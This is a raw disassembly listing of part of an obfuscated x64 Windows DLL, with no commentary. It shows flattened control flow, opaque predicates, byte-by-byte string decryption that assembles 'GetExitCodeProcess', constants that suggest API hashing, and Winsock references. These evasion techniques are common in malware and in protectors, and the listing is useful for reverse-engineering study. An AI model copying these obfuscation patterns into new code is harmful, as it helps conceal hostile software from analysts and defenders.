mov edx, 0x570db4c6
jmp 0x18006d9f0
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 1], bl
mov dword [rbp + 0x238], 0x65
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp ebx, 0x570db4c6
je 0x18006dbc7
cmp ebx, 0xbed44fb9
jne 0x18006da70
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006daa2
cmp ebx, 0x23daed3b
jne 0x18006da90
jmp 0x18006daa9
mov ebx, 0x23daed3b
jmp 0x18006da90
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006da70
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 2], bl
mov dword [rbp + 0x238], 0x74
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp ebx, 0x570db4c6
je 0x18006d3eb
cmp ebx, 0xbed44fb9
jne 0x18006daf0
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006db22
cmp ebx, 0x23daed3b
jne 0x18006db10
jmp 0x18006db29
mov ebx, 0x23daed3b
jmp 0x18006db10
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006daf0
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rcx + 2], dl
mov dword [rbp + 0x238], WSAStartup
mov edx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp edx, 0x570db4c6
je 0x18006dc47
cmp edx, 0xbed44fb9
jne 0x18006db70
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006dba2
cmp edx, 0x23daed3b
jne 0x18006db90
jmp 0x18006dba9
mov edx, 0x23daed3b
jmp 0x18006db90
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006db70
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 2], bl
mov dword [rbp + 0x238], 0x74
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp ebx, 0x570db4c6
je 0x18006dcc7
cmp ebx, 0xbed44fb9
jne 0x18006dbf0
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006dc22
cmp ebx, 0x23daed3b
jne 0x18006dc10
jmp 0x18006dc29
mov ebx, 0x23daed3b
jmp 0x18006dc10
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006dbf0
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rcx + 3], dl
mov dword [rbp + 0x238], 0x65
mov edx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp edx, 0x570db4c6
je 0x18006dd09
cmp edx, 0xbed44fb9
jne 0x18006dc70
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006dca2
cmp edx, 0x23daed3b
jne 0x18006dc90
jmp 0x18006dca9
mov edx, 0x23daed3b
jmp 0x18006dc90
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006dc70
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 3], bl
add rdx, 4
mov qword [rbp + 0x260], rdx
mov edx, dword [0x180129c28]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x3ba1b147
cmovne edx, r8d
cmp dword [0x180129c2c], 0xa
cmovl edx, r9d
jmp 0x18006d400
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rcx + 4], dl
mov dword [rbp + 0x238], 0x57
mov edx, 0xbed44fb9
nop word [rax + rax]
cmp edx, 0x570db4c6
je 0x18006dd87
cmp edx, 0xbed44fb9
jne 0x18006dd30
mov edx, 0x690a3a4
nop word cs:[rax + rax]
nop
cmp edx, 0x690a3a4
je 0x18006dd62
cmp edx, 0x23daed3b
jne 0x18006dd50
jmp 0x18006dd69
mov edx, 0x23daed3b
jmp 0x18006dd50
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006dd30
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rcx + 5], dl
add rcx, 6
mov rdx, qword [rbp + 0x270]
add rdx, 0xd
mov qword [rbp + 0x248], rdx
mov edx, 0x20c21544
jmp 0x18006d400
cmp edx, 0x189b2208
jne 0x18006d400
mov rcx, qword [rbp + 0x1a0]
sub rsp, 0x20
call fcn.18008f030
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x18006de70
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word [rax + rax]
cmp edx, 0xfe90a09b
jle 0x18006dee0
cmp edx, 0x333d8297
jle 0x18006df30
cmp edx, 0x5cca55f4
jg 0x18006dfaa
cmp edx, 0x333d8298
je 0x18006e06d
cmp edx, 0x33ec62ab
je 0x18006e086
cmp edx, 0x42d422e5
jne 0x18006de70
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006de70
cmp edx, 0xc5fd57a7
jle 0x18006df70
cmp edx, 0xeb000b68
jg 0x18006dfda
cmp edx, 0xc5fd57a8
je 0x18006e097
cmp edx, 0xd1e81d16
je 0x18006e0a6
cmp edx, 0xd597d4ff
jne 0x18006de70
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006de70
cmp edx, 0x12a1b9d7
jle 0x18006e00c
cmp edx, 0x12a1b9d8
je 0x18006e0bf
cmp edx, 0x181b9de8
je 0x18006e0ce
cmp edx, 0x28ad3f39
jne 0x18006de70
mov edx, 0x73f80f82
jmp 0x18006de70
cmp edx, 0xb163ad29
jle 0x18006e03e
cmp edx, 0xb163ad2a
je 0x18006e0fe
cmp edx, 0xb9d33223
je 0x18006e12b
cmp edx, 0xbb6ed30e
jne 0x18006de70
mov edx, 0x12a1b9d8
jmp 0x18006de70
cmp edx, 0x5cca55f5
je 0x18006e13c
cmp edx, 0x7343bfbc
je 0x18006de23
cmp edx, 0x73f80f82
jne 0x18006de70
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006de70
cmp edx, 0xeb000b69
je 0x18006e155
cmp edx, 0xfb306983
jne 0x18006e1cc
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006de70
cmp edx, 0xfe90a09c
je 0x18006e180
cmp edx, 0x1dd0b01
jne 0x18006de70
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006de70
cmp edx, 0x87cbc1a8
je 0x18006e1b2
cmp edx, 0x9302de66
jne 0x18006de70
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006de70
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006de70
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006de70
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006de70
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006de70
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006de70
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006de70
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006de70
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006de70
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006de70
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006de70
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006de70
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006de70
cmp edx, 0xf6d6bd87
jne 0x18006de70
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x208]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rcx, qword [rbp + 0x1e0]
sub rsp, 0x20
mov dx, 0x3e
call fcn.1800fcca0
movabs r11, 0x100000001b3
add rsp, 0x20
test rax, rax
mov eax, 0xe47ef472
mov ecx, 0x5484598a
cmove eax, ecx
jmp 0x18005ef80
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 3], bl
add rcx, 4
mov qword [rbp + 0x250], rcx
mov ecx, 0x6b70930f
nop dword [rax]
cmp ecx, 0x6b70930f
je 0x18006e272
cmp ecx, 0x839fbb3e
jne 0x18006e260
jmp 0x18006e279
mov ecx, 0x839fbb3e
jmp 0x18006e260
mov dword [rbp + 0x248], 0x65
movsx rcx, byte [rax]
add rcx, 3
mov edx, 0xe74bd942
cmp edx, 0xe74bd942
je 0x18006e2a2
cmp edx, 0x71c45d9f
jne 0x18006e290
jmp 0x18006e2a9
mov edx, 0x71c45d9f
jmp 0x18006e290
mov qword [rbp + 0x278], rcx
mov rcx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x248]
xor dl, cl
mov byte [rbp + 0x238], dl
mov edx, 0xc3c0979d
jmp 0x18006e2f0
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0xe2bdabf0
mov ebx, 0xc847f69
cmove edx, ebx
nop word [rax + rax]
cmp edx, 0xe2bdabef
jle 0x18006e340
cmp edx, 0xc847f68
jg 0x18006e370
cmp edx, 0xe2bdabf0
je 0x18006e2cc
cmp edx, 0xef112609
jne 0x18006e2f0
mov ecx, 0x6b70930f
nop word cs:[rax + rax]
nop
cmp ecx, 0x6b70930f
je 0x18006e332
cmp ecx, 0x839fbb3e
jne 0x18006e320
jmp 0x18006e39f
mov ecx, 0x839fbb3e
jmp 0x18006e320
cmp edx, 0xb743a061
je 0x18006e3d9
cmp edx, 0xc3c0979d
je 0x18006e454
cmp edx, 0xcc201e2a
jne 0x18006e2f0
jmp 0x18006e47f
cmp edx, 0xc847f69
je 0x18006e3e3
cmp edx, 0x1a3070f4
jne 0x18006e2f0
mov edx, dword [0x180129c30]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb743a061
mov ebx, 0xcc201e2a
jmp 0x18006e3fc
mov dword [rbp + 0x268], WSAStartup
movsx rcx, byte [rax]
add rcx, 4
mov edx, 0xe74bd942
nop word cs:[rax + rax]
cmp edx, 0xe74bd942
je 0x18006e3d2
cmp edx, 0x71c45d9f
jne 0x18006e3c0
jmp 0x18006e40e
mov edx, 0x71c45d9f
jmp 0x18006e3c0
mov edx, 0x1a3070f4
jmp 0x18006e2f0
mov edx, dword [0x180129c30]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb743a061
mov ebx, 0x1a3070f4
cmove edx, ebx
cmp dword [0x180129c34], 0xa
cmovl edx, ebx
jmp 0x18006e2f0
mov qword [rbp + 0x278], rcx
mov rcx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x268]
xor dl, cl
mov rcx, qword [rbp + 0x260]
mov byte [rcx], dl
mov rcx, qword [rbp + 0x260]
add rcx, 1
mov rdx, qword [rbp + 0x270]
add rdx, 7
mov qword [rbp + 0x248], rdx
mov edx, 0xe2bdabf0
jmp 0x18006e2f0
mov rdx, qword [rbp + 0x250]
mov bl, byte [rbp + 0x238]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x250]
add rdx, 1
mov qword [rbp + 0x260], rdx
mov edx, 0xef112609
jmp 0x18006e2f0
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.18008fea0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x18006e530
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x18006e5a0
cmp edx, 0x333d8297
jle 0x18006e5f0
cmp edx, 0x5cca55f4
jg 0x18006e66a
cmp edx, 0x333d8298
je 0x18006e72d
cmp edx, 0x33ec62ab
je 0x18006e746
cmp edx, 0x42d422e5
jne 0x18006e530
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006e530
cmp edx, 0xc5fd57a7
jle 0x18006e630
cmp edx, 0xeb000b68
jg 0x18006e69a
cmp edx, 0xc5fd57a8
je 0x18006e757
cmp edx, 0xd1e81d16
je 0x18006e766
cmp edx, 0xd597d4ff
jne 0x18006e530
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006e530
cmp edx, 0x12a1b9d7
jle 0x18006e6cc
cmp edx, 0x12a1b9d8
je 0x18006e77f
cmp edx, 0x181b9de8
je 0x18006e78e
cmp edx, 0x28ad3f39
jne 0x18006e530
mov edx, 0x73f80f82
jmp 0x18006e530
cmp edx, 0xb163ad29
jle 0x18006e6fe
cmp edx, 0xb163ad2a
je 0x18006e7be
cmp edx, 0xb9d33223
je 0x18006e7eb
cmp edx, 0xbb6ed30e
jne 0x18006e530
mov edx, 0x12a1b9d8
jmp 0x18006e530
cmp edx, 0x5cca55f5
je 0x18006e7fc
cmp edx, 0x7343bfbc
je 0x18006e4e0
cmp edx, 0x73f80f82
jne 0x18006e530
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006e530
cmp edx, 0xeb000b69
je 0x18006e815
cmp edx, 0xfb306983
jne 0x18006e88c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006e530
cmp edx, 0xfe90a09c
je 0x18006e840
cmp edx, 0x1dd0b01
jne 0x18006e530
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006e530
cmp edx, 0x87cbc1a8
je 0x18006e872
cmp edx, 0x9302de66
jne 0x18006e530
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006e530
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006e530
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006e530
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006e530
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006e530
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006e530
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006e530
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006e530
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006e530
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006e530
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006e530
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006e530
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006e530
cmp edx, 0xf6d6bd87
jne 0x18006e530
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
mov ecx, 0x64
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x170]
mov rsi, qword [rbp + 0x170]
mov qword [rbp + 0x250], rsi
mov rax, qword [rbp + 0x250]
mov byte [rax], 0x28
mov rdi, qword [rbp + 0x250]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x47
xor r8d, r8d
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov r8d, 1
mov rcx, rsi
mov dl, 0x65
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov r8d, 2
mov rcx, rsi
mov dl, 0x74
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov r8d, 3
mov rcx, rsi
mov dl, 0x45
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov r8d, 4
mov rcx, rsi
mov dl, pe_nt_image_headers64
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov r8d, 5
mov rcx, rsi
mov dl, 0x69
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov r8d, 6
mov rcx, rsi
mov dl, 0x74
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 7], al
sub rsp, 0x20
mov r8d, 7
mov rcx, rsi
mov dl, 0x43
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 8], al
add rdi, 9
mov qword [rbp + 0x260], rdi
sub rsp, 0x20
mov r8d, 8
mov rcx, rsi
mov dl, 0x6f
call fcn.180097ca0
add rsp, 0x20
mov byte [rbp + 0x270], al
mov eax, 0xfe14e29a
nop dword [rax]
cmp eax, 0xfe14e299
jg 0x18006ea60
cmp eax, 0xdebde060
je 0x18006eb5f
cmp eax, 0xe63bc2ea
jne 0x18006e9e0
sub rsp, 0x20
mov r8d, 0x10
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180097ca0
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rdi, qword [rbp + 0x248]
sub rsp, 0x20
mov r8d, 0x11
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180097ca0
add rsp, 0x20
mov byte [rdi + 1], al
add rdi, 2
mov rax, qword [rbp + 0x250]
add rax, 0x14
mov qword [rbp + 0x278], rax
mov eax, 0xdebde060
jmp 0x18006e9e0
cmp eax, 0x2b12c5f3
je 0x18006eb7f
cmp eax, 0xfe14e29a
jne 0x18006e9e0
mov rax, qword [rbp + 0x260]
movzx ecx, byte [rbp + 0x270]
mov byte [rax], cl
mov rbx, qword [rbp + 0x260]
sub rsp, 0x20
mov r8d, 9
mov rcx, rsi
mov dl, 0x64
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov r8d, 0xa
mov rcx, rsi
mov dl, 0x65
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 2], al
sub rsp, 0x20
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, rsi
mov dl, 0x50
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 3], al
sub rsp, 0x20
mov r8d, 0xc
mov rcx, rsi
mov dl, WSAStartup
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 4], al
sub rsp, 0x20
mov r8d, 0xd
mov rcx, rsi
mov dl, 0x6f
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 5], al
sub rsp, 0x20
mov r8d, 0xe
mov rcx, rsi
mov dl, 0x63
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 6], al
sub rsp, 0x20
mov r8d, 0xf
mov rcx, rsi
mov dl, 0x65
call fcn.180097ca0
add rsp, 0x20
mov byte [rbx + 7], al
add rbx, 8
mov qword [rbp + 0x248], rbx
mov eax, 0xe63bc2ea
jmp 0x18006e9e0
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x278]
mov eax, 0xdebde060
mov ecx, 0x2b12c5f3
cmove eax, ecx
jmp 0x18006e9e0
mov rcx, qword [rbp + 0x170]
sub rsp, 0x20
call fcn.1800901c0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x18006ec30
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x18006eca0
cmp edx, 0x333d8297
jle 0x18006ecf0
cmp edx, 0x5cca55f4
jg 0x18006ed6a
cmp edx, 0x333d8298
je 0x18006ee2d
cmp edx, 0x33ec62ab
je 0x18006ee46
cmp edx, 0x42d422e5
jne 0x18006ec30
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006ec30
cmp edx, 0xc5fd57a7
jle 0x18006ed30
cmp edx, 0xeb000b68
jg 0x18006ed9a
cmp edx, 0xc5fd57a8
je 0x18006ee57
cmp edx, 0xd1e81d16
je 0x18006ee66
cmp edx, 0xd597d4ff
jne 0x18006ec30
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006ec30
cmp edx, 0x12a1b9d7
jle 0x18006edcc
cmp edx, 0x12a1b9d8
je 0x18006ee7f
cmp edx, 0x181b9de8
je 0x18006ee8e
cmp edx, 0x28ad3f39
jne 0x18006ec30
mov edx, 0x73f80f82
jmp 0x18006ec30
cmp edx, 0xb163ad29
jle 0x18006edfe
cmp edx, 0xb163ad2a
je 0x18006eebe
cmp edx, 0xb9d33223
je 0x18006eeeb
cmp edx, 0xbb6ed30e
jne 0x18006ec30
mov edx, 0x12a1b9d8
jmp 0x18006ec30
cmp edx, 0x5cca55f5
je 0x18006eefc
cmp edx, 0x7343bfbc
je 0x18006ebe0
cmp edx, 0x73f80f82
jne 0x18006ec30
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006ec30
cmp edx, 0xeb000b69
je 0x18006ef15
cmp edx, 0xfb306983
jne 0x18006ef8c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006ec30
cmp edx, 0xfe90a09c
je 0x18006ef40
cmp edx, 0x1dd0b01
jne 0x18006ec30
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006ec30
cmp edx, 0x87cbc1a8
je 0x18006ef72
cmp edx, 0x9302de66
jne 0x18006ec30
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006ec30
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006ec30
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006ec30
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006ec30
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006ec30
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006ec30
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006ec30
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006ec30
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006ec30
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006ec30
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006ec30
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006ec30
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006ec30
cmp edx, 0xf6d6bd87
jne 0x18006ec30
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rcx]
sub rsp, 0x20
lea rdx, [rbp + 0x2e8]
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x168]
mov dword [rbp + 0x278], 0x54
mov edx, 0xfb7b314f
jmp 0x18006f000
mov byte [rbp + 0x248], 4
mov cl, byte [rbp + 0x248]
mov edx, 0xa77b699f
cmp edx, 0xa77b699f
je 0x18006f039
cmp edx, 0xfb7b314f
jne 0x18006f000
